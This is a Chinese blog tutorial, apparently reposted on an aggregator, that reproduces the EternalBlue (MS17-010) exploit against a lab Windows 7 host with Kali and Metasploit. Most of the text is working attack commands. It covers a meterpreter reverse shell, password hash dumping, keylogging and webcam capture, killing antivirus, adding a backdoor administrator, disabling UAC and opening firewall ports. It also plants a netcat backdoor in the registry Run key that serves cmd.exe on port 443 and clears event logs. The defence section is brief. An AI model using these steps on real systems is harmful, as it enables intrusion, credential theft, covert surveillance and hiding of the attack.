永恒之蓝漏洞复现(ms17-010)

Posted flyhite

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了永恒之蓝漏洞复现(ms17-010)相关的知识,希望对你有一定的参考价值。

文章目录


一、永恒之蓝(Eternal Blue)

永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

二、复现环境

攻击机:kali (192.168.203.130)
靶机:Windows 7 (192.168.203.134)

三、复现过程

1.主机发现

nmap进行ip端口扫描:

nmap -T4 -A -v 192.168.203.134#靶机ip地址

扫描到开放了445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。

2.进入MSF框架

msfconsole

search ms17-010


通过这两个工具,其中
0 exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般两者配合使用,前者先扫描,若是显示有漏洞,再进行攻击。
3 auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17-010漏洞。

3.使用ms17-010扫描模块,对靶机进行扫描

3.1使用模块

该模块不会直接在攻击机和靶机之间建立访问,他们只负责执行扫描,嗅探,指纹识别的相关功能,以辅助渗透测试。

use auxiliary/scanner/smb/smb_ms17_010

3.2查看模块需要配置的参数

show options


Required栏中选项为yes的说明对应的Current Setting栏需要填写,如RHOSTS。

3.3设置攻击目标

RHOSTS 参数是要探测主机的ip或ip范围
设置攻击目标ip:

set rhosts  192.168.203.134

3.4再次查看配置参数

show options 

3.5执行扫描

run


显示主机可能容易受到 MS17-010 的攻击! - Windows 7 x64(64 位)

4.使用ms17-010攻击模块,对靶机进行攻击

use exploit/windows/smb/ms17_010_eternalblue

4.1查看这个漏洞的信息

info

4.2查看可攻击的系统平台

这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统

show targets


这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。

4.3查看攻击载荷

攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。

show payloads

该命令可以查看当下漏洞利用模块下可用的所有Payload

4.4设置攻击载荷(默认windows/x64/meterpreter/reverse_tcp)

set payload windows/x64/meterpreter/reverse_tcp

4.5查看参数配置

show options

4.6设置目标攻击目标ip

set rhosts 192.168.203.134(如果有多个攻击目标ip间直接用空格隔开就行)

4.6设置监听主机(kali)

set LHOST 192.168.203.130

4.7执行攻击

exploit(run)

攻击成功,显示下图:
在这里可以进行文件上传下载,获取截屏,获取密码,使用摄像头拍照,后门持久化等操作。

5.后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\\test.txt  /root          #将目标机的e:\\test.txt文件下载到/root目录下
upload    /root/test.txt d:\\test      #将/root/test.txt上传到目标机的 d:\\test\\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
clearev                       #清除日志

示例:

查看主机系统信息

sysinfo

查看主机ip

ipconfig

查看用户身份

getuid


用户身份为: NT AUTHORITY\\SYSTEM,这个也就是Windows的系统权限

获得shell控制台

shell

想要从目标主机shell退出到meterpreter

exit

获取截屏

screenshot




下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

示例:

获取用户密码

run windows/gather/smart_hashdump或者hashdump



在网上搜索MD5破解即可查到相关破解网站:

创建新的管理员账户

进入shell控制台

在目标主机上创建一个名为hack的用户,密码为123

net user hack 123 /add

将hack加入到windows 7的本地管理员组中,以便获得更大权限

net localgroup administrators hack /add

查看本地用户

net user

查看本地管理员

net localgroup administrators


可以看到hack已经被添加到windows管理员组中。

开启远程桌面

运用getuid脚本开启目标主机远程桌面:

run getgui -e或者run post/windows/manage/enable_rdp


在kali终端输入

rdesktop 192.168.203.134#靶机ip地址

即可打开远程桌面

6.关闭主机防护策略并开启后门

6.1查看用户及密码

hashdump

6.2创建防火墙规则

创建一条防火墙规则允许4444端口访问网络,方便后期操作

shell

netsh firewall add portopening TCP 4444 "hack" ENABLE ALL


新建一个防火墙规则,允许443端口访问网络

netsh firewall add portopening TCP 443 "hack" ENABLE ALL

6.3关闭UAC

其原理就是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。

cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f

ADD 添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值的值
-f 强制修改注册表项

6.4开启默认共享

开启系统主机的默认共享,默认共享对于主机文件共享非常方便,也方便黑客利用这个功能,远程执行命令。

cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f


exit返回meterpreter,输入background将永恒之蓝拿到的会话保持到后台。

6.5使用扫描模块

use exploit/windows/smb/psexec

6.6查看需要设置的参数

show options

设置靶机ip:set rhosts 192.168.203.134
设置靶机账户名:set smbuser hack
设置靶机密码:set smbpass (hack账户密码hash值)
设置靶机工作组:set smbdomain WORKGROUP
运行:run

6.7上传后门程序

为了让连接持久话,我们可以上传后门程序,这样就能保持会话长久建立。在kali 里面如下路径有我们的后门程序nc 俗称瑞士军刀。我们可以将它上传到目标机c盘里面

上传nc到c盘windows文件夹中,如果想更隐蔽一点,可以在往文件夹里面上传

打开靶机window文件夹可以看到成功上传文件。

6.8设置键值

当目标机开机,程序后台运行,且监听端口为443,这个端口就是之前在shell中创建的新防火墙规则:允许443端口访问网络。

reg setval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run -v lltest_nc -d 'C:\\windows\\nc.exe -Ldp 443 -e cmd.exe'

6.9重启目标主机

reboot


在kali终端就可以直接使用

nc -v 192.168.203.134 443

连接了。

这样就可以直接通过nc监听靶机。
至此,永恒之蓝的攻击复现就完成了,后续其他的进一步攻击可以向上传nc一样上传病毒。

7.清除事件日志

由于攻击过程中的所有操作都会被记录在目标系统的日志文件之中,因此需要在完成攻击之后使用

clearev  

命令来清除事件日志:

四、漏洞防御

关闭445端口。
打开防火墙,安装安全软件。
安装对应补丁

参考文章

https://blog.csdn.net/qq_44159028/article/details/104044002
https://cxymm.net/article/dreamthe/121375464#%C2%A03.%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D%E5%88%A9%E7%94%A8%E4%B9%8B%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%99%BB%E5%BD%95%E3%80%82

复现时出现的问题

在复现时曾经使用过Windows8和Windows10来作为靶机,但是在使用ms17-010攻击模块

use exploit/windows/smb/ms17_010_eternalblue

时,却出现这样的错误提示:
Windows8

Started reverse TCP handler on 192.168.203.130:4444 
192.168.203.132:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
192.168.203.132:445   - Host is likely VULNERABLE to MS17-010! - Windows 8 9200 x64 (64-bit)
192.168.203.132:445   - Errno::ECONNRESET: Connection reset by peer
192.168.203.132:445   - Scanned 1 of 1 hosts (100% complete)
192.168.203.132:445 - The target is vulnerable.
192.168.203.132:445 - shellcode size: 1283
192.168.203.132:445 - numGroomConn: 12
192.168.203.132:445 - Target OS: Windows 8 9200
192.168.203.132:445 - CommunicationError encountered. Have you set SMBUser/SMBPass?
192.168.203.132:445 - Exploit failed with the following error: Read timeout expired when reading from the Socket (timeout=30)
Exploit completed, but no session was created.

Windows10

搜索半天没弄明白,以后有机会再研究。

以上是关于永恒之蓝漏洞复现(ms17-010)的主要内容,如果未能解决你的问题,请参考以下文章

MS17-010(永恒之蓝)漏洞分析与复现

永恒之蓝漏洞复现(ms17-010)

永恒之蓝(ms17-010)漏洞简介及复现

永恒之蓝 MS17-010漏洞复现

ms17-010永恒之蓝病毒复现

[漏洞复现] MS17-010 基于“永恒之蓝“实现Windows Getshell